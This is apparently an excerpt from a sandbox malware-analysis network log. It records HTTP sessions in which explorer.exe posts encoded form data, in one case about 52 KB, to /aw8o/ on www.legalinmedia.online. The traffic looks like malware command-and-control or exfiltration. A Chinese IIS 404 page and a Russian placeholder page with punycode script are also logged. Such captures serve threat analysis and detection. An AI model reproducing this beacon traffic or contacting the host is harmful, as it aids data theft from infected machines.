73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 0d 0a 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 3c 68 31 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 af a5 e9 a1 b5 3c 2f 68 31 3e 0d 0a e6 82 a8 e6 ad a3 e5 9c a8 e6 90 9c e7 b4 a2 e7 9a 84 e9 a1 b5 e9 9d a2 e5 8f af e8 83 bd e5 b7 b2 e7 bb 8f e5 88 a0 e9 99 a4 e3 80 81 e6 9b b4 e5 90 8d e6 88 96 e6 9a 82 e6 97 b6 e4 b8 8d e5 8f af e7 94 a8 e3 80 82 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e e8 af b7 e5 b0 9d e8 af 95 e4 bb a5 e4 b8 8b e6 93 8d e4 bd 9c ef bc 9a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e e7 a1 ae e4 bf 9d e6 b5 8f e8 a7 88 e5 99 a8 e7 9a 84 e5 9c b0 e5 9d 80 e6 a0 8f e4 b8 ad e6 98 be e7 a4 ba e7 9a 84 e7 bd 91 e7 ab 99 e5 9c b0 e5 9d 80 e7 9a 84 e6 8b bc e5 86 99 e5 92 8c e6 a0 bc e5 bc 8f e6 ad a3 e7 a1 ae e6 97 a0 e8 af af e3 80 82 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e e5 a6 82 e6 9e 9c e9 80 9a e8 bf 87 e5 8d 95 e5 87 bb e9 93 be e6 8e a5 e8 80 8c e5 88 b0 e8 be be e4 ba 86 e8 af a5 e7 bd 91 e9 a1 b5 ef bc 8c e8 af b7 e4 b8 8e e7 bd 91 e7 ab 99 e7 ae a1 e7 90 86 e5 91 98 e8 81 94 e7 b3 bb ef bc 8c e9 80 9a e7 9f a5 e4 bb 96 e4 bb ac e8 af a5 e9 93 be e6 8e a5 e7 9a 84 e6 a0 bc e5 bc 8f e4 b8 8d e6 ad a3 e7 a1 ae e3 80 82 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e e5 8d 95 e5 87 bb 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e e5 90 8e e9 80 80 3c 2f 61 3e e6 8c 89 e9 92 ae e5 b0 9d e8 af 95 e5 8f a6 e4 b8 80 e4 b8 aa e9 93 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE></TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312"><STYLE type="text/css"> BODY { font: 9pt/12pt } H1 { font: 12pt/15pt } H2 { font: 9pt/12pt } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><script type="text/javascript" async src="https://js.users.51.la/21774239.js"></script><script type="text/javascript" async src="//js.users.51.la/21774251.js"></script> <TABLE width=500 border=0 cellspacing=10><TR><TD><h1></h1><hr><p></p><ul><li></li><li></li><li><a href="javascript:history.back(1)"></a>
Aug 29, 2023 22:44:21.637252092 CEST	343	IN	Data Raw: be e6 8e a5 e3 80 82 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 48 54 54 50 20 e9 94 99 e8 af af 20 34 30 34 20 2d 20 e6 96 87 e4 bb b6 e6 88 96 e7 9b ae e5 bd 95 e6 9c aa e6 89 be e5 88 b0 e3 80 82 3c 62 72 3e 49 6e 74 65 72 6e 65 74 Data Ascii: </li></ul><h2>HTTP 404 - <br>Internet (IIS)</h2><hr><p></p><ul><li> <a href="http://go.microsoft.com/fwlink/?linkid=8180">Micr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.11.20	50005	91.189.114.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:52.253309965 CEST	818	OUT	POST /aw8o/ HTTP/1.1 Host: www.legalinmedia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.legalinmedia.online Referer: http://www.legalinmedia.online/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 52 75 34 6f 4a 47 4c 59 53 6f 51 31 70 38 4f 54 75 6d 72 44 74 69 77 64 64 58 6f 58 65 65 4e 4d 52 45 53 64 66 78 35 6f 2b 44 65 76 49 6d 46 46 67 5a 63 6d 6c 7a 79 38 37 61 69 57 46 59 68 54 32 33 4a 4a 41 36 64 6b 2b 6b 6c 67 6b 2f 35 6f 31 68 79 39 6b 39 76 51 59 45 75 32 4f 6b 66 48 4a 71 4d 63 52 36 32 76 55 63 57 4b 56 57 50 49 31 66 41 50 47 42 6e 4a 63 69 57 42 30 7a 6d 51 76 79 76 6a 2b 57 46 6d 2f 4e 59 41 55 71 74 33 5a 6d 61 42 4e 33 30 67 65 4e 35 73 6f 4e 2b 63 4c 79 37 78 34 41 47 59 4e 6f 47 31 58 6e 44 55 4a 64 62 71 69 61 59 44 6e 56 4e 55 6a 55 69 69 6e 4c 35 49 6a 65 5a 74 70 70 49 61 49 6f 64 6d 74 6a 43 65 63 67 2b 44 52 36 4d 70 38 59 4f 34 53 2b 58 59 55 52 6e 7a 44 2b 69 73 48 35 33 34 71 32 41 50 6b 4d 77 57 46 78 2b 5a 5a 76 4c 39 4d 2b 4e 68 4d 36 6a 55 33 54 30 52 30 4e 52 6c 4d 44 76 39 70 74 38 41 52 53 30 39 6b 71 54 76 4c 4e 76 4d 61 42 49 68 4d 38 68 6a 42 49 65 63 61 67 47 4f 35 30 78 74 56 52 31 54 6d 2f 77 48 32 4b 6a 73 35 59 65 77 4d 63 71 67 5a 64 50 76 4e 53 39 59 76 6f 65 64 43 6f 51 79 2b 6f 4e 49 4c 52 4a 49 5a 67 41 54 74 65 6f 75 6d 31 51 34 30 4a 6a 79 57 56 76 4e 76 4c 41 72 73 33 6f 4b 48 73 5a 49 58 66 53 76 30 41 73 6b 63 4b 34 34 49 50 35 65 32 6d 67 5a 57 6a 4f 58 77 38 6b 4c 7a 43 2b 4f 4d 78 35 2b 4a 73 33 77 48 67 4b 73 49 48 59 5a 59 67 65 63 5a 4a 41 54 76 56 4d 39 56 61 45 65 41 66 2b 6c 70 4e 4b 54 64 4c 59 55 2b 4f 53 4a 39 39 76 54 31 6e 74 2f 32 68 78 2f 31 4d 64 75 57 61 63 63 68 5a 34 58 43 4d 38 54 4e 78 4e 54 50 73 55 2b 31 47 41 55 71 54 37 55 49 57 74 39 67 6f 51 3d Data Ascii: 5Nag0d=Ru4oJGLYSoQ1p8OTumrDtiwddXoXeeNMRESdfx5o+DevImFFgZcmlzy87aiWFYhT23JJA6dk+klgk/5o1hy9k9vQYEu2OkfHJqMcR62vUcWKVWPI1fAPGBnJciWB0zmQvyvj+WFm/NYAUqt3ZmaBN30geN5soN+cLy7x4AGYNoG1XnDUJdbqiaYDnVNUjUiinL5IjeZtppIaIodmtjCecg+DR6Mp8YO4S+XYURnzD+isH534q2APkMwWFx+ZZvL9M+NhM6jU3T0R0NRlMDv9pt8ARS09kqTvLNvMaBIhM8hjBIecagGO50xtVR1Tm/wH2Kjs5YewMcqgZdPvNS9YvoedCoQy+oNILRJIZgATteoum1Q40JjyWVvNvLArs3oKHsZIXfSv0AskcK44IP5e2mgZWjOXw8kLzC+OMx5+Js3wHgKsIHYZYgecZJATvVM9VaEeAf+lpNKTdLYU+OSJ99vT1nt/2hx/1MduWacchZ4XCM8TNxNTPsU+1GAUqT7UIWt9goQ=
Aug 29, 2023 22:45:52.297931910 CEST	819	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 29 Aug 2023 20:45:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 66 66 32 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e d0 9d d0 b5 20 d0 be d0 bf d1 83 d0 b1 d0 bb d0 b8 d0 ba d0 be d0 b2 d0 b0 d0 bd 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 Data Ascii: ff2c<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title> </title><link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"><script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script><script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; } output.push(value); } ret
Aug 29, 2023 22:45:52.298065901 CEST	820	IN	Data Raw: 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d Data Ascii: urn output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++]; if ( (value & 0xF800) === 0xD800 ) {
Aug 29, 2023 22:45:52.298171043 CEST	822	IN	Data Raw: 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 6b 20 3d 20 30 3b 20 64 65 6c 74 61 20 3e 20 28 28 28 62 61 73 65 20 2d 20 74 6d 69 6e 29 20 2a 20 74 6d 61 78 29 20 3e 3e 20 Data Ascii: floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floor(k + (base - tmin + 1) * delta / (delta + skew))
Aug 29, 2023 22:45:52.298275948 CEST	823	IN	Data Raw: 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 67 69 74 20 3d 20 64 65 63 6f 64 65 5f 64 69 67 69 74 28 69 Data Ascii: e_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("punycode_bad_input(2)"); }
Aug 29, 2023 22:45:52.298376083 CEST	824	IN	Data Raw: 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 5b 69 5d 20 3d 20 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6f Data Ascii: if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.encode(output); }; this.encode = function (i
Aug 29, 2023 22:45:52.298476934 CEST	826	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a 76 20 3e 3d 20 6e 20 26 26 20 69 6a 76 20 3c 20 6d 29 20 6d 20 3d 20 69 6a 76 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 20 2d Data Ascii: if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow (1)"); } delta += (m - n) * (h + 1);
Aug 29, 2023 22:45:52.298598051 CEST	827	IN	Data Raw: 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 20 3d 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 3d 30 3b 20 69 20 3c 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 2e 6c 65 6e 67 74 68 3b Data Ascii: n.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za-z0-9-]/) ? "xn--" + punycode.encode(s) :
Aug 29, 2023 22:45:52.298696995 CEST	828	IN	Data Raw: 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 32 39 35 45 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 77 72 61 70 Data Ascii: 10px; } a { color: #14295E; } .wrapper {padding: 0px;margin: 0 auto;max-width: 1024px;display: flex; flex: 1 0 auto;flex-direction: column;justify-content: spac
Aug 29, 2023 22:45:52.298803091 CEST	830	IN	Data Raw: 3a 20 23 38 39 39 34 41 46 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 Data Ascii: : #8994AF; font-size: 10px; } .footer-links { display: grid; grid-area: links; grid-template-columns: repeat(2, 1fr); grid-column-gap: 80px; grid-row-gap:
Aug 29, 2023 22:45:52.298906088 CEST	831	IN	Data Raw: 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 34 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 34 70 78 Data Ascii: .footer-links { padding: 14px 0; margin: 14px 0; border-top: 1px solid #F3F4F7; border-bottom: 1px solid #F3F4F7; } } </style></head><body><header>
Aug 29, 2023 22:45:52.342211008 CEST	832	IN	Data Raw: 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 62 65 76 65 6c 22 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 Data Ascii: troke-linejoin="bevel"/> <path opacity="0.1" fill-rule="evenodd" clip-rule="evenodd" d="M248.358 132.645L251.526 132.541L261.769 137.465L309.277 133.838L321.829 125.218L308.12 118.684L260.612 122.311L251.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.11.20	50006	91.189.114.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:54.815557003 CEST	891	OUT	POST /aw8o/ HTTP/1.1 Host: www.legalinmedia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.legalinmedia.online Referer: http://www.legalinmedia.online/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 52 75 34 6f 4a 47 4c 59 53 6f 51 31 70 38 4f 54 75 6d 72 44 74 69 77 64 64 58 6f 58 65 65 4e 4d 52 45 53 64 66 78 35 6f 2b 44 57 76 4a 55 39 46 68 36 45 6d 30 44 79 38 33 36 69 4c 46 59 68 4b 32 33 52 4e 41 36 52 30 2b 6e 64 67 6b 70 6c 6f 31 79 57 39 6a 39 76 52 45 55 75 30 4b 6b 65 51 4a 71 51 41 52 36 4b 5a 55 73 4b 4b 53 55 48 49 79 73 59 4d 4b 78 6e 48 63 69 57 4e 77 7a 6d 79 76 79 6a 4a 2b 57 5a 6d 2f 4c 59 41 58 34 6c 33 56 58 61 42 56 58 30 76 4c 39 34 39 6d 74 2f 73 4c 79 76 4c 34 41 47 6d 4e 73 32 31 58 68 50 55 62 4f 7a 70 6a 36 59 44 70 31 4e 4c 31 55 6e 6c 6e 4c 31 51 6a 65 39 74 70 72 59 61 4b 49 64 6d 6e 69 43 64 4b 51 2b 61 56 36 4d 45 34 59 43 4b 53 2b 44 4d 55 52 7a 7a 43 4f 6d 73 47 4f 6a 34 6d 79 55 50 6e 73 77 49 4c 52 2b 52 54 50 4c 68 4d 2b 64 44 4d 36 43 68 33 55 30 52 79 73 78 6c 61 58 44 2b 71 4e 38 5a 55 53 31 35 67 71 65 67 4c 4e 2b 50 61 42 49 50 4d 39 6c 6a 41 37 57 63 62 69 2b 4e 37 6b 77 6e 4d 42 31 61 76 65 4d 33 32 4a 48 65 35 59 36 67 4d 66 47 67 59 39 50 76 48 56 52 66 6c 59 65 65 4b 49 51 67 68 34 4d 53 4c 52 46 6c 5a 6c 68 6f 73 74 63 75 67 46 41 34 2b 35 6a 74 53 31 76 4a 32 62 41 74 37 6e 6f 4b 48 73 55 76 58 66 4f 76 30 55 6f 6b 64 35 67 34 44 34 4e 65 35 47 67 58 57 6a 4f 43 77 39 59 43 7a 43 32 73 4d 79 67 62 4a 75 37 77 48 78 61 73 59 56 67 61 64 51 65 54 64 4a 41 45 72 55 78 37 56 61 49 73 41 66 4f 66 6f 2b 4f 54 61 4c 49 55 30 75 53 4f 34 64 76 55 68 33 74 6c 68 78 73 2b 31 4d 41 5a 57 61 41 4d 68 65 38 58 43 72 42 2b 65 51 56 51 4d 39 41 79 7a 57 52 44 32 54 6e 35 59 45 34 2f 78 76 63 39 31 34 65 37 50 7a 4a 43 77 76 4d 4f 39 67 66 46 42 46 6b 56 4c 5a 50 36 31 67 46 71 50 57 73 7a 64 39 65 75 4d 73 2f 4e 51 31 38 4c 57 64 4a 69 4a 34 35 50 75 45 50 4e 39 41 72 66 67 6c 63 36 73 71 68 4e 51 52 38 63 63 50 59 77 32 7a 33 46 59 48 6f 4e 69 70 77 4a 59 4f 4e 34 71 51 50 61 69 36 6d 34 6f 4c 4d 58 68 6b 42 5a 45 65 38 32 58 54 39 57 39 76 50 78 48 73 5a 79 4f 4c 2b 6f 46 38 65 79 74 2b 4f 44 74 78 77 75 46 52 5a 38 5a 4f 68 34 6d 43 36 43 52 4e 6c 6e 6e 45 68 4f 6b 54 47 57 6e 2f 6a 53 4e 4b 2b 6b 49 32 57 47 5a 59 52 72 61 6c 43 6a 50 51 32 6a 56 77 59 62 5a 77 42 6d 46 62 45 59 62 65 59 6a 48 76 44 37 55 79 48 4e 59 59 34 57 54 79 43 79 41 45 48 53 59 52 77 57 34 4d 59 7a 61 48 32 49 55 56 Data Ascii: 5Nag0d=Ru4oJGLYSoQ1p8OTumrDtiwddXoXeeNMRESdfx5o+DWvJU9Fh6Em0Dy836iLFYhK23RNA6R0+ndgkplo1yW9j9vREUu0KkeQJqQAR6KZUsKKSUHIysYMKxnHciWNwzmyvyjJ+WZm/LYAX4l3VXaBVX0vL949mt/sLyvL4AGmNs21XhPUbOzpj6YDp1NL1UnlnL1Qje9tprYaKIdmniCdKQ+aV6ME4YCKS+DMURzzCOmsGOj4myUPnswILR+RTPLhM+dDM6Ch3U0RysxlaXD+qN8ZUS15gqegLN+PaBIPM9ljA7Wcbi+N7kwnMB1aveM32JHe5Y6gMfGgY9PvHVRflYeeKIQgh4MSLRFlZlhostcugFA4+5jtS1vJ2bAt7noKHsUvXfOv0Uokd5g4D4Ne5GgXWjOCw9YCzC2sMygbJu7wHxasYVgadQeTdJAErUx7VaIsAfOfo+OTaLIU0uSO4dvUh3tlhxs+1MAZWaAMhe8XCrB+eQVQM9AyzWRD2Tn5YE4/xvc914e7PzJCwvMO9gfFBFkVLZP61gFqPWszd9euMs/NQ18LWdJiJ45PuEPN9Arfglc6sqhNQR8ccPYw2z3FYHoNipwJYON4qQPai6m4oLMXhkBZEe82XT9W9vPxHsZyOL+oF8eyt+ODtxwuFRZ8ZOh4mC6CRNlnnEhOkTGWn/jSNK+kI2WGZYRralCjPQ2jVwYbZwBmFbEYbeYjHvD7UyHNYY4WTyCyAEHSYRwW4MYzaH2IUV
Aug 29, 2023 22:45:54.815665960 CEST	902	OUT	Data Raw: 64 4d 73 6e 33 64 74 45 43 43 6f 65 45 2f 77 72 64 56 78 48 79 75 2b 71 75 76 33 50 78 6f 57 31 74 70 65 48 73 6f 53 43 56 32 6e 44 73 4b 58 58 4a 50 63 6e 74 54 51 49 6b 4d 34 7a 43 6e 69 63 57 71 4f 37 44 32 71 61 78 43 56 4e 70 69 47 49 56 62 Data Ascii: dMsn3dtECCoeE/wrdVxHyu+quv3PxoW1tpeHsoSCV2nDsKXXJPcntTQIkM4zCnicWqO7D2qaxCVNpiGIVb2So6oe7U9/zQYmG4KruD7ct/6b5HYgUygXify+cEancBsfZ6HmGNkpuXUBgJ38tt9AZFrkXMfnLPm52LjwN0EdVt0yhtTQHlHGHDBYVVWK4QmG8B5Wu0kFANaZDTeLKbW+IO0tTt3fIsy2sTXFqZU3l88ZTbwk4Nc
Aug 29, 2023 22:45:54.859035015 CEST	905	OUT	Data Raw: 35 39 33 4e 4b 78 6c 72 4a 61 37 37 58 49 6e 70 38 4c 37 46 36 62 64 69 73 71 46 52 54 6a 75 69 38 31 74 61 2f 32 79 50 6c 49 2f 75 33 53 54 39 32 35 67 63 4e 74 52 6e 4a 4c 6d 53 53 64 6d 53 2b 74 70 37 68 59 66 75 45 52 39 58 6d 2b 34 6c 33 6b Data Ascii: 593NKxlrJa77XInp8L7F6bdisqFRTjui81ta/2yPlI/u3ST925gcNtRnJLmSSdmS+tp7hYfuER9Xm+4l3k561hA08raYTP4hSL97G96BeWtXD8R2vNFRKtdjK4J7hphHExPFDxp51qgF0igWMAN9zZdaCIupTbkILeTdjegHDARYWzobBKK2KqH0qnDYhSUlSslaYl+mUu8y2YXMiBSyMM71u2y79cqYw7r8k1riXRbHrVhqcUE
Aug 29, 2023 22:45:54.859051943 CEST	907	OUT	Data Raw: 36 72 32 34 77 6d 35 62 36 64 69 37 2b 31 32 6c 78 54 6e 4f 42 6e 56 6c 32 35 44 41 34 47 62 71 54 4a 6a 59 64 48 67 31 43 6a 56 69 65 63 34 54 58 71 69 67 2b 35 61 59 6b 46 65 77 74 35 62 43 6b 72 4e 76 63 31 37 75 2f 6a 32 68 32 4d 52 35 72 55 Data Ascii: 6r24wm5b6di7+12lxTnOBnVl25DA4GbqTJjYdHg1CjViec4TXqig+5aYkFewt5bCkrNvc17u/j2h2MR5rU1kObgT+OdRhdnepq22UHbKGR/fc86cefk8lvUccQAXLyRbJ0SThU0Y9A7Ysrk/bcFnz4RM/rqoMJwWggC4zuDFk0whaNSM1K7znNJc4QH1ajs1FyzFttmvlsOt65XV2ZXk+8Lga0xVeNULx71gV5G+DBBIBVpDda2
Aug 29, 2023 22:45:54.859296083 CEST	910	OUT	Data Raw: 6e 4e 4a 41 51 42 77 34 38 57 53 50 55 33 53 4a 64 63 64 70 35 4b 57 6e 38 62 4c 54 66 43 32 51 34 56 33 47 6f 47 6f 39 6a 5a 6c 58 75 76 69 66 6f 58 62 57 68 63 47 2f 45 30 79 6c 33 6f 45 41 71 35 31 65 6d 71 55 52 62 6f 43 70 57 33 70 42 48 52 Data Ascii: nNJAQBw48WSPU3SJdcdp5KWn8bLTfC2Q4V3GoGo9jZlXuvifoXbWhcG/E0yl3oEAq51emqURboCpW3pBHRMF6qNM8ljFgo7ArIxADFuKIqLaTRXjwFArTgFooDlyJB5NFMekYZ55HvV5ZiOQ/dNaLgUn7tr7b3ATo0F/5AOgIcT/pagR+z8CCw3//qiyH2I/qSsNUz1AShfohQ4zoNcXe2KJ3uVtAqlVBTehhkPWaqi7D7j1mye
